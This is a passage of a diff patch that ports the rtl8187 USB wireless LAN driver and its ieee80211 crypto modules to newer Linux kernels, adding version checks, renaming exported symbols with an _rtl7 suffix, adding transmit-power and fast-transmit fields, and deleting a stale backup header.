write_nic_byte(dev,0x9d,0x00); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -*/ -} -#endif -/*************************************************************************** - -------------------------------NET STUFF--------------------------- -***************************************************************************/ -static struct net_device_stats *rtl8180_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->ieee80211->stats; -} - - -int _rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->up=1; - - //DMESG("Bringing up iface"); - - rtl8180_adapter_start(dev); - - rtl8180_rx_enable(dev); - - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); - if(!netif_queue_stopped(dev)) - netif_start_queue(dev); - else - netif_wake_queue(dev); - - return 0; -} - - -int rtl8180_open(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - ret = rtl8180_up(dev); - up(&priv->wx_sem); - return ret; - -} - - -int rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 1) return -1; - - return _rtl8180_up(dev); -} - - -int rtl8180_close(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - - ret = rtl8180_down(dev); - - up(&priv->wx_sem); - - return ret; - -} - -int rtl8180_down(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return -1; - - priv->up=0; - -/* FIXME */ - if (!netif_queue_stopped(dev)) - netif_stop_queue(dev); - - rtl8180_rtx_disable(dev); - rtl8180_irq_disable(dev); - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - return 0; -} - - -void rtl8180_commit(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - rtl8180_irq_disable(dev); - rtl8180_rtx_disable(dev); - _rtl8180_up(dev); -} - -void rtl8180_restart(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - down(&priv->wx_sem); - - rtl8180_commit(dev); - - up(&priv->wx_sem); -} - -static void r8180_set_multicast(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - short promisc; - - //down(&priv->wx_sem); - - /* FIXME FIXME */ - - promisc = (dev->flags & IFF_PROMISC) ? 1:0; - - if (promisc != priv->promisc) - // rtl8180_commit(dev); - - priv->promisc = promisc; - - //schedule_work(&priv->reset_wq); - //up(&priv->wx_sem); -} - - -int r8180_set_mac_adr(struct net_device *dev, void *mac) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - struct sockaddr *addr = mac; - - down(&priv->wx_sem); - - memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - - schedule_work(&priv->reset_wq); - - up(&priv->wx_sem); - - return 0; -} - - -/* based on ipw2200 driver */ -int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; - switch (cmd) { - case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); - break; - - default: - ret = -EOPNOTSUPP; - break; - } - - up(&priv->wx_sem); - - return ret; -} - - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv) -{ - struct urb *rx_urb = priv->rxurb_task; - struct net_device *dev = (struct net_device*)rx_urb->context; - int status,len,flen; - struct sk_buff *skb; - u32 *desc; - - //DMESG("rtl8187_rx_isr"); - - struct ieee80211_rx_stats stats = { - .signal = 0, - .noise = -98, - .rate = 0, - // .mac_time = jiffies, - .freq = IEEE80211_24GHZ_BAND, - }; - - //DMESG("RX %d ",rx_urb->status); - status = rx_urb->status; - if(status == 0){ - - len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ - len -= 4*4;/* 4 dword and 4 byte CRC */ - - desc = (u32*)(rx_urb->transfer_buffer + len); - - flen = desc[0] & 0xfff; - - if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[2]; - stats.mac_time[1] = desc[3]; - skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ - memcpy(skb_put(skb,flen-4), - rx_urb->transfer_buffer,flen -4); - - #ifdef DUMP_RX - int i; - for(i=0;itransfer_buffer))[i]); - printk("------RATE %x:w---------------\n",stats.rate); - - #endif - priv->stats.rxok++; - // priv->rxskb = skb; - // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, - skb, &stats)) - dev_kfree_skb_any(skb); - } - }else priv->stats.rxurberr++; - }else{ - priv->stats.rxstaterr++; - priv->ieee80211->stats.rx_errors++; - - } - - if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); - else DMESG("RX process aborted due to explicit shutdown"); -} - -/**************************************************************************** - ---------------------------- USB_STUFF--------------------------- -*****************************************************************************/ - - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id) -{ -// unsigned long ioaddr = 0; - struct net_device *dev = NULL; - struct r8180_priv *priv= NULL; - struct usb_device *udev = interface_to_usbdev(intf); - -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - - SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - - SET_NETDEV_DEV(dev, &intf->dev); - - priv = ieee80211_priv(dev); - priv->ieee80211 = netdev_priv(dev); - - priv->udev=udev; - - dev->open = rtl8180_open; - dev->stop = rtl8180_close; - //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; - dev->tx_timeout = tx_timeout; - dev->wireless_handlers = &r8180_wx_handlers_def; - dev->do_ioctl = rtl8180_ioctl; - dev->set_multicast_list = r8180_set_multicast; - dev->set_mac_address = r8180_set_mac_adr; - dev->get_wireless_stats = r8180_get_wireless_stats; - dev->type=ARPHRD_ETHER; - - if (dev_alloc_name(dev, ifname) < 0){ - DMESG("Oops: devname already taken! Trying wlan%%d...\n"); - ifname = "wlan%d"; - dev_alloc_name(dev, ifname); - } - -// dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ - DMESG("Initialization failed"); - goto fail; - } - - netif_carrier_off(dev); - netif_stop_queue(dev); - - register_netdev(dev); - - rtl8180_proc_init_one(dev); - - - DMESG("Driver probe completed\n"); - return 0; - - -fail: - free_ieee80211(dev); - - DMESG("wlan driver load failed\n"); - - return -ENODEV; - -} - - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf) -{ - struct r8180_priv *priv; - struct net_device *dev = usb_get_intfdata(intf); - if(dev){ - - unregister_netdev(dev); - - priv=ieee80211_priv(dev); - - rtl8180_proc_remove_one(dev); - - rtl8180_down(dev); - priv->rf_close(dev); - //rtl8180_rtx_disable(dev); - rtl8187_usb_deleteendpoints(dev); - rtl8180_irq_disable(dev); - rtl8180_reset(dev); - mdelay(10); - - } -// pci_disable_device(pdev); - free_ieee80211(dev); - DMESG("wlan driver removed\n"); -} - - -static int __init rtl8187_usb_module_init(void) -{ - printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ -based WLAN cards\n"); - printk(KERN_INFO "Copyright (c) 2004-2005, Andrea Merello\n"); - DMESG("Initializing module"); - DMESG("Wireless extensions version %d", WIRELESS_EXT); - rtl8180_proc_module_init(); - return usb_register(&rtl8187_usb_driver); -} - - -static void __exit rtl8187_usb_module_exit(void) -{ - usb_deregister(&rtl8187_usb_driver); - - rtl8180_proc_module_remove(); - DMESG("Exiting"); -} - - -void rtl8180_try_wake_queue(struct net_device *dev, int pri) -{ - unsigned long flags; - short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - spin_lock_irqsave(&priv->tx_lock,flags); - enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - - if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); -} - - - -/*************************************************************************** - ------------------- module init / exit stubs ---------------- -****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-05 23:48:10.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187.h 2010-05-19 22:23:52.586008695 -0700 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -44,8 +43,16 @@ #include #include #include + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include #include +#include +#else +#include +#include +//#include +#endif #include "ieee80211.h" @@ -68,7 +75,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +130,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +150,18 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + short highpower; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +170,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +183,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +237,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +251,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187.h~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ 2006-06-05 19:58:02.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187.h~ 1969-12-31 16:00:00.000000000 -0800 @@ -1,288 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 - Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the - official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon - - Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper - project Authors. -*/ - -#ifndef R8180H -#define R8180H - - -#define RTL8187_MODULE_NAME "rtl8187" -#define DMESG(x,a...) printk(KERN_INFO RTL8187_MODULE_NAME ": " x "\n", ## a) -#define DMESGW(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": WW:" x "\n", ## a) -#define DMESGE(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": EE:" x "\n", ## a) - -#include -#include -#include -#include -#include -#include -#include -#include -#include -//#include -#include -#include -#include -#include //for rtnl_lock() -#include -#include -#include // Necessary because we use the proc fs -#include -#include -#include -#include -#include - -#include "ieee80211.h" - -#define EPROM_93c46 0 -#define EPROM_93c56 1 - -#define DEFAULT_FRAG_THRESHOLD 2342U -#define MIN_FRAG_THRESHOLD 256U -#define DEFAULT_BEACONINTERVAL 0x64U -#define DEFAULT_BEACON_ESSID "Rtl8187" - -#define DEFAULT_SSID "" -#define DEFAULT_RETRY_RTS 7 -#define DEFAULT_RETRY_DATA 7 -#define PRISM_HDR_SIZE 64 - -#define RTL_IOCTL_WPA_SUPPLICANT SIOCIWFIRSTPRIV+30 - -typedef struct buffer -{ - struct buffer *next; - u32 *buf; - -} buffer; - -#if 0 - -typedef struct tx_pendingbuf -{ - struct ieee80211_txb *txb; - short ispending; - short descfrag; -} tx_pendigbuf; - -#endif - -typedef struct Stats -{ - unsigned long txrdu; -// unsigned long rxrdu; - //unsigned long rxnolast; - //unsigned long rxnodata; -// unsigned long rxreset; -// unsigned long rxwrkaround; -// unsigned long rxnopointer; - unsigned long rxok; - unsigned long rxurberr; - unsigned long rxstaterr; - unsigned long txnperr; - unsigned long txnpdrop; - unsigned long txresumed; -// unsigned long rxerr; -// unsigned long rxoverflow; -// unsigned long rxint; - unsigned long txnpokint; -// unsigned long txhpokint; -// unsigned long txhperr; -// unsigned long ints; -// unsigned long shints; - unsigned long txoverflow; -// unsigned long rxdmafail; -// unsigned long txbeacon; -// unsigned long txbeaconerr; - unsigned long txlpokint; - unsigned long txlpdrop; - unsigned long txlperr; - unsigned long txdatapkt; -} Stats; - - - -typedef struct r8180_priv -{ - struct usb_device *udev; - short epromtype; - int irq; - struct ieee80211_device *ieee80211; - - short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ - short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ - short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ - short enable_gpio0; - enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; - short hw_plcp_len; - -// spinlock_t irq_lock; -// spinlock_t irq_th_lock; - spinlock_t tx_lock; - - u16 irq_mask; -// short irq_enabled; - struct net_device *dev; - short chan; - short sens; - short max_sens; - u8 chtxpwr[15]; //channels from 1 to 14, 0 not used - u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used - u8 cck_txpwr_base; - u8 ofdm_txpwr_base; - u8 challow[15]; //channels from 1 to 14, 0 not used - short up; - short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - -// struct timer_list scan_timer; - /*short scanpending; - short stopscan;*/ -// spinlock_t scan_lock; -// u8 active_probe; - //u8 active_scan_num; - struct semaphore wx_sem; -// short hw_wep; - -// short digphy; -// short antb; -// short diversity; -// u8 cs_treshold; -// short rcr_csense; - short rf_chip; -// u32 key0[4]; - short (*rf_set_sens)(struct net_device *dev,short sens); - void (*rf_set_chan)(struct net_device *dev,short ch); - void (*rf_close)(struct net_device *dev); - void (*rf_init)(struct net_device *dev); - //short rate; - short promisc; - /*stats*/ - struct Stats stats; - struct iw_statistics wstats; - struct proc_dir_entry *dir_dev; - - /*RX stuff*/ -// u32 *rxring; -// u32 *rxringtail; -// dma_addr_t rxringdma; - struct urb **rx_urb; - - //struct buffer *rxbuffer; - //struct buffer *rxbufferhead; - //int rxringcount; - //u16 rxbuffersize; - - //struct sk_buff *rx_skb; - - //short rx_skb_complete; - - //u32 rx_prevlen; - atomic_t tx_lp_pending; - atomic_t tx_np_pending; -#if 0 - /*TX stuff*/ - u32 *txlpring; - u32 *txhpring; - u32 *txnpring; - dma_addr_t txlpringdma; - dma_addr_t txhpringdma; - dma_addr_t txnpringdma; - u32 *txlpringtail; - u32 *txhpringtail; - u32 *txnpringtail; - u32 *txlpringhead; - u32 *txhpringhead; - u32 *txnpringhead; - struct buffer *txlpbufs; - struct buffer *txhpbufs; - struct buffer *txnpbufs; - struct buffer *txlpbufstail; - struct buffer *txhpbufstail; - struct buffer *txnpbufstail; - int txringcount; - int txbuffsize; - - //struct tx_pendingbuf txnp_pending; - struct tasklet_struct irq_tx_tasklet; -#endif -// struct tasklet_struct irq_rx_tasklet; -// u8 dma_poll_mask; - //short tx_suspend; - - /* adhoc/master mode stuff */ -#if 0 - u32 *txbeacontail; - dma_addr_t txbeaconringdma; - u32 *txbeaconring; - int txbeaconcount; -#endif -// struct ieee_tx_beacon *beacon_buf; - //char *master_essid; -// dma_addr_t beacondmabuf; - //u16 master_beaconinterval; -// u32 master_beaconsize; - //u16 beacon_interval; - - u8 retry_data; - u8 retry_rts; - - struct work_struct reset_wq; - -}r8180_priv; - - -typedef enum{ - LOW_PRIORITY , - NORM_PRIORITY - } priority_t; - - -short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); - -u8 read_nic_byte(struct net_device *dev, int x); -u8 read_nic_byte_E(struct net_device *dev, int x); -u32 read_nic_dword(struct net_device *dev, int x); -u16 read_nic_word(struct net_device *dev, int x) ; -void write_nic_byte(struct net_device *dev, int x,u8 y); -void write_nic_byte_E(struct net_device *dev, int x,u8 y); -void write_nic_word(struct net_device *dev, int x,u16 y); -void write_nic_dword(struct net_device *dev, int x,u32 y); -void force_pci_posting(struct net_device *dev); - -void rtl8180_rtx_disable(struct net_device *); -void rtl8180_rx_enable(struct net_device *); -void rtl8180_tx_enable(struct net_device *); - -void rtl8180_disassociate(struct net_device *dev); -//void fix_rx_fifo(struct net_device *dev); -void rtl8185_set_rf_pins_enable(struct net_device *dev,u32 a); - -void rtl8180_set_anaparam(struct net_device *dev,u32 a); -void rtl8185_set_anaparam2(struct net_device *dev,u32 a); -void rtl8180_update_msr(struct net_device *dev); -int rtl8180_down(struct net_device *dev); -int rtl8180_up(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_set_chan(struct net_device *dev,short ch); -void write_phy(struct net_device *dev, u8 adr, u8 data); -void write_phy_cck(struct net_device *dev, u8 adr, u32 data); -void write_phy_ofdm(struct net_device *dev, u8 adr, u32 data); -void rtl8185_tx_antenna(struct net_device *dev, u8 ant); -void rtl8187_set_rxconf(struct net_device *dev); -#endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod rtl8187_linux_26.1010.0622.2006.modified/beta-8187/.tmp_versions/r8187.mod --- rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod 2006-06-21 22:40:15.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/.tmp_versions/r8187.mod 2010-05-19 22:24:09.366013373 -0700 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187.ko -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187_core.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_93cx6.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_wx.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225z2.o +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.ko +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c 2006-06-05 19:57:56.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt.c 2010-05-19 22:22:30.982698060 -0700 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt_ccmp.c 2010-05-19 22:22:46.906050739 -0700 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void 